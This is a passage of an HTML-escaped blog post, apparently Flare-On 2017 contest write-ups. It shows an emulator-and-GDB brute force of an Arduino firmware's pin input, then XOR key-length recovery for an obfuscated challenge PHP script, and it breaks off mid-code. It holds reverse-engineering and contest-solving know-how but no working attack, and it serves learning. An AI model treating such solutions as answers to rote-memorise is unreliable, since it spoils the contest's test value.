&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span&gt;&amp;gt;&amp;gt;&amp;gt; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span&gt;hashlib
&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;&amp;gt;&amp;gt; hashlib.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;sha1&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;Give a man a fire and he&amp;#39;ll be warm for a day. Set a man on fire and he&amp;#39;ll be warm for the rest of his life.&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;)
&lt;&#x2F;span&gt;&lt;span&gt;5f1be3c9b081c40ddfc4a0238156008ee71e24a4
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;And finally:&lt;&#x2F;p&gt;
&lt;a href=&quot;&amp;#x2F;img&amp;#x2F;flareon-2017&amp;#x2F;7ecf50b91265cdd05f48d3910c20c9d48899a3e19645fbe263f8c34a696d00cc.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;&amp;#x2F;img&amp;#x2F;flareon-2017&amp;#x2F;7ecf50b91265cdd05f48d3910c20c9d48899a3e19645fbe263f8c34a696d00cc.png&quot;

    

    
    title=&quot;image_alt&quot;
    alt=&quot;image_alt&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;
&lt;p&gt;&lt;a href=&quot;https:&#x2F;&#x2F;blahcat.github.io&#x2F;2017-10-13-flareon-4-writeups&#x2F;#menu&quot;&gt;Back to Menu&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;challenge-9&quot;&gt;Challenge 9&lt;&#x2F;h1&gt;
&lt;h1 id=&quot;instruction-8&quot;&gt;Instruction&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt;One of our computer scientists recently got an Arduino board. He disappeared for
&lt;&#x2F;span&gt;&lt;span&gt;two days and then he went crazy. In his notebook he scrawled some insane
&lt;&#x2F;span&gt;&lt;span&gt;jibberish that looks like HEX. We transcribed it, can you solve it?
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;solution-8&quot;&gt;Solution&lt;&#x2F;h1&gt;
&lt;p&gt;The challenge is in a text file
named &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;mega.nz&#x2F;#!NFQwXKYQ!OhtgRSr6U4yRBMnflhIwGgMZJXYaEeMnJG-1m0bWFJ4&quot;&gt;&lt;code&gt;remorse.ino.hex&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;. This format
(Intel HEX)
is frequently used for sharing encoded firmware, and so the &lt;code&gt;python-intelhex&lt;&#x2F;code&gt;
module provides a useful script to convert it back to binary
(&lt;code&gt;hex2bin.py&lt;&#x2F;code&gt;). From the string inside the firmware, we learn that this firmware
is meant to be
used on
a &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;store.arduino.cc&#x2F;products&#x2F;arduino-uno-rev3&#x2F;&quot;&gt;Arduino Uno board&lt;&#x2F;a&gt;. This
board embeds an Atmel AVR 8bit CPU, running at 16MHz. Easily
enough, Google points us to the &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;ww1.microchip.com&#x2F;downloads&#x2F;en&#x2F;DeviceDoc&#x2F;Atmel-7810-Automotive-Microcontrollers-ATmega328P_Datasheet.pdf&quot;&gt;datasheet of the processor.&lt;&#x2F;a&gt;
Being totally new to AVR, I stop the challenge at that point for long enough to
read a good part of the datasheet, which proved to be extremely useful for the
rest of this exercise.&lt;&#x2F;p&gt;
&lt;p&gt;With a much better understanding of AVR, I setup a SimAVR environment and also
compiled &lt;code&gt;simduino&lt;&#x2F;code&gt;, which allows me to connect a GDB to it, and debug the runtime:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span&gt; obj-x86_64-linux-gnu&#x2F;simduino.elf&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt; -d -v -v&lt;&#x2F;span&gt;&lt;span&gt; ..&#x2F;..&#x2F;..&#x2F;remorse.ino.hex
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Simduino will open a &#x2F;dev&#x2F;pts that can be used for UART (so we can use tools
like &lt;code&gt;picocom&lt;&#x2F;code&gt; or &lt;code&gt;minicom&lt;&#x2F;code&gt; to debug it).&lt;&#x2F;p&gt;
&lt;a href=&quot;&amp;#x2F;img&amp;#x2F;flareon-2017&amp;#x2F;cd4cd292a48fa1fc086b50e5617459edec3e9d40513de244bf57428f0c372348.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;&amp;#x2F;img&amp;#x2F;flareon-2017&amp;#x2F;cd4cd292a48fa1fc086b50e5617459edec3e9d40513de244bf57428f0c372348.png&quot;

    

    
    title=&quot;image_alt&quot;
    alt=&quot;image_alt&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;
&lt;p&gt;The firmware seems to be expecting a new PIN configuration: luckily I came
across this information in the datasheet (“35. Register Summary”).&lt;&#x2F;p&gt;
&lt;a href=&quot;&amp;#x2F;img&amp;#x2F;flareon-2017&amp;#x2F;33d2e78e17819a705d01a9c9c0412090361e7ad02beb4692106996ac8e832f7b.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;&amp;#x2F;img&amp;#x2F;flareon-2017&amp;#x2F;33d2e78e17819a705d01a9c9c0412090361e7ad02beb4692106996ac8e832f7b.png&quot;

    

    
    title=&quot;image_alt&quot;
    alt=&quot;image_alt&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;
&lt;p&gt;After trying
to manipulate the PINB and PINC (resp. at offset 0x23 and 0x26) without success,
I saw that a change of value in PIND (offset 0x29) immediately provoked a
response from the firmware:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span&gt; avr-gdb&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;  -q -ex &lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;target remote localhost:1234&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[...]
&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;gdb&lt;&#x2F;span&gt;&lt;span&gt;) set {char}0x29=0
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;In &lt;code&gt;picocom&lt;&#x2F;code&gt;:&lt;&#x2F;p&gt;
&lt;pre style=&quot;background-color:#2b303b;color:#c0c5ce;&quot;&gt;&lt;code&gt;&lt;span&gt;Flare-On 2017 Adruino UNO Digital Pin state:0
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Since the possible values are limited to 1 byte (8bit), and being lazy I wrote a
GDB script to brute-force all the values&lt;&#x2F;p&gt;
&lt;pre style=&quot;background-color:#2b303b;color:#c0c5ce;&quot;&gt;&lt;code&gt;&lt;span&gt;set $_i = 0
&lt;&#x2F;span&gt;&lt;span&gt;define inc_pind
&lt;&#x2F;span&gt;&lt;span&gt;        set $_i = $_i + 1
&lt;&#x2F;span&gt;&lt;span&gt;        set {char}0x29=$_i
&lt;&#x2F;span&gt;&lt;span&gt;        continue
&lt;&#x2F;span&gt;&lt;span&gt;end
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;And then I use &lt;code&gt;xdotool&lt;&#x2F;code&gt; to programmatically send the right xkeysyms commands to
the GDB terminal:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span&gt; i=0; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;while &lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;[ &lt;&#x2F;span&gt;&lt;span&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;i -lt&lt;&#x2F;span&gt;&lt;span&gt; 256 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;]&lt;&#x2F;span&gt;&lt;span&gt;; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;do &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;sleep&lt;&#x2F;span&gt;&lt;span&gt; 5 ; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;xdotool&lt;&#x2F;span&gt;&lt;span&gt; key ctrl+c Up Return ; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;i&lt;&#x2F;span&gt;&lt;span&gt;=$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;((i &lt;&#x2F;span&gt;&lt;span&gt;+ &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;))&lt;&#x2F;span&gt;&lt;span&gt;; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;done
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Went for a coffee, and when back saw the pleasant screen:&lt;&#x2F;p&gt;
&lt;a href=&quot;&amp;#x2F;img&amp;#x2F;flareon-2017&amp;#x2F;72de36af7ebcf629992d8b5f9f3a54e20cb01d6335fd961984d34b0840ea4b7e.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;&amp;#x2F;img&amp;#x2F;flareon-2017&amp;#x2F;72de36af7ebcf629992d8b5f9f3a54e20cb01d6335fd961984d34b0840ea4b7e.png&quot;

    

    
    title=&quot;image_alt3&quot;
    alt=&quot;image_alt3&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;
&lt;p&gt;This challenge was a good reminder that reading the documentation first kept me
from spending probably hours of not understanding how the CPU was getting
input&#x2F;output data from the PIN or what the ABI was doing. So more than ever, RTFM!&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a href=&quot;https:&#x2F;&#x2F;blahcat.github.io&#x2F;2017-10-13-flareon-4-writeups&#x2F;#menu&quot;&gt;Back to Menu&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;challenge-10&quot;&gt;Challenge 10&lt;&#x2F;h1&gt;
&lt;h1 id=&quot;instruction-9&quot;&gt;Instruction&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt;We have tested you thoroughly on x86 reversing but we forgot to cover some of
&lt;&#x2F;span&gt;&lt;span&gt;the basics of other systems. You will encounter many strange scripting languages
&lt;&#x2F;span&gt;&lt;span&gt;on the Information Superhighway. I know that Interweb challenges are easy, but
&lt;&#x2F;span&gt;&lt;span&gt;we just need you to complete this real quick for our records.
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;solution-9&quot;&gt;Solution&lt;&#x2F;h1&gt;
&lt;p&gt;Another guessing game type of challenge. The challenge comes as a PHP script
named &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;mega.nz&#x2F;#!MUAWhDTQ!qzAe4c6O0ADp3YyfCNVF0gimNSs44kvpLWwqcoldoKs&quot;&gt;&lt;code&gt;shell.php&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;. It was solvable in 3 different steps:&lt;&#x2F;p&gt;
&lt;h3 id=&quot;step-1-get-the-key-length&quot;&gt;Step 1: get the key length&lt;&#x2F;h3&gt;
&lt;p&gt;This script is a mess so the cleaned version was
pushed &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gist.github.com&#x2F;hugsy&#x2F;8fa710e906033f377e68c24dce44070e#file-clean-php&quot;&gt;here&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;This challenge is not about cracking the MD5 hash given, but reversing the way
the variable &lt;code&gt;$block&lt;&#x2F;code&gt; is manipulated with the XOR operation. We don’t know the
key &lt;code&gt;$param&lt;&#x2F;code&gt;, including its length. However, we do know that after &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gist.github.com&#x2F;hugsy&#x2F;8fa710e906033f377e68c24dce44070e#file-clean-php-L4&quot;&gt;L4&lt;&#x2F;a&gt; the
&lt;code&gt;strlen($param)&lt;&#x2F;code&gt; will be in [32..64]. Additionally, we know after this line that
every byte of &lt;code&gt;$param&lt;&#x2F;code&gt; is in the hexadecimal namespace (“0123456789abcdef”). And
finally, because of the call
to &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;php.net&#x2F;manual&#x2F;en&#x2F;function.create-function.php&quot;&gt;&lt;code&gt;create_function&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;
line 15, we know that the block once de-XOR-ed will have all bytes in
&lt;code&gt;string.printable&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;Now the guessing game starts: we must guess at the same time the length and
the key. So the idea is in pseudo-code&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt;assuming len(key) = 32
&lt;&#x2F;span&gt;&lt;span&gt;assuming charset = &amp;quot;0123456789abcdef&amp;quot;
&lt;&#x2F;span&gt;&lt;span&gt;let candidate = (key[0], len(32))
&lt;&#x2F;span&gt;&lt;span&gt;test if key[0] ^ block[0] in string.printable and \
&lt;&#x2F;span&gt;&lt;span&gt;     if (key[0] ^ block[0]) ^ block[0 + len(key)]in string.printable and \
&lt;&#x2F;span&gt;&lt;span&gt;     etc.
&lt;&#x2F;span&gt;&lt;span&gt;if any fails: reject candidate
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;This gives us a good iteration pattern, allowing us to narrow down all possible
values &lt;strong&gt;and&lt;&#x2F;strong&gt; find the possible length for the key, as done in &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gist.github.com&#x2F;hugsy&#x2F;8fa710e906033f377e68c24dce44070e#file-bf1-py&quot;&gt;&lt;code&gt;bf1.py&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span&gt; python bf1.py
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;pos&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;0 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;char&lt;&#x2F;span&gt;&lt;span&gt;=&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;c&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;len&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;64
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;pos&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;0 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;char&lt;&#x2F;span&gt;&lt;span&gt;=&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;d&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;len&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;64
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;pos&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;0 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;char&lt;&#x2F;span&gt;&lt;span&gt;=&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;e&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;len&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;64
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;pos&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;1 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;char&lt;&#x2F;span&gt;&lt;span&gt;=&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;a&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;len&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;64
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;pos&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;1 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;char&lt;&#x2F;span&gt;&lt;span&gt;=&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;b&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;len&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;64
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;pos&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;1 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;char&lt;&#x2F;span&gt;&lt;span&gt;=&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;c&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;len&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;64
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;pos&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;1 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;char&lt;&#x2F;span&gt;&lt;span&gt;=&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;d&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;len&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;64
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;pos&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;1 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;char&lt;&#x2F;span&gt;&lt;span&gt;=&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;e&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;len&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;64
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;pos&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;2 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;char&lt;&#x2F;span&gt;&lt;span&gt;=&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;len&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;64
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;pos&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;2 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;char&lt;&#x2F;span&gt;&lt;span&gt;=&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;len&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;64
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;pos&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;2 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;char&lt;&#x2F;span&gt;&lt;span&gt;=&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;len&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;64
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;pos&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;2 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;char&lt;&#x2F;span&gt;&lt;span&gt;=&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;3&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;len&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;64
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[...]
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Unanimously, we find that if the length of &lt;code&gt;$param&lt;&#x2F;code&gt; is 64 bytes, we have at
least one candidate that ensures that we can de-xor &lt;code&gt;$block&lt;&#x2F;code&gt; and get ASCII back
for each byte of the key.&lt;&#x2F;p&gt;
&lt;p&gt;So if &lt;code&gt;$param = md5($param) . substr(MD5(strrev($param)), 0, strlen($param));&lt;&#x2F;code&gt;
and &lt;code&gt;strlen($param) == 64&lt;&#x2F;code&gt;, it means that our key &lt;code&gt;o_o&lt;&#x2F;code&gt; is 32 byte long, which
way too huge to brute-force. Consequently we must unxor the block by another way,
without knowing the key.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;step-2-unxor-all-the-blocks&quot;&gt;Step 2: unxor all the blocks!&lt;&#x2F;h3&gt;
&lt;p&gt;The Step1 allowed us to get the key length along with a list of potential
candidates for each position ([0, 63]).
This 2nd step directly extends the earlier one by trying to brute-force chunk by
chunk.&lt;&#x2F;p&gt;
&lt;p&gt;This will be the main idea:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span&gt;possible_candidates = {&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;: &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;abc&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;: &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;012&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span&gt;: &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;f&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;, etc&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;...&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;span&gt;possible_block = []
&lt;&#x2F;span&gt;&lt;span&gt;block_size = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;4  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;# pure assumption
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;for &lt;&#x2F;span&gt;&lt;span&gt;candidate &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;in &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;generate_all_candidates&lt;&#x2F;span&gt;&lt;span&gt;( possible_candidates[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;:block_size] ):
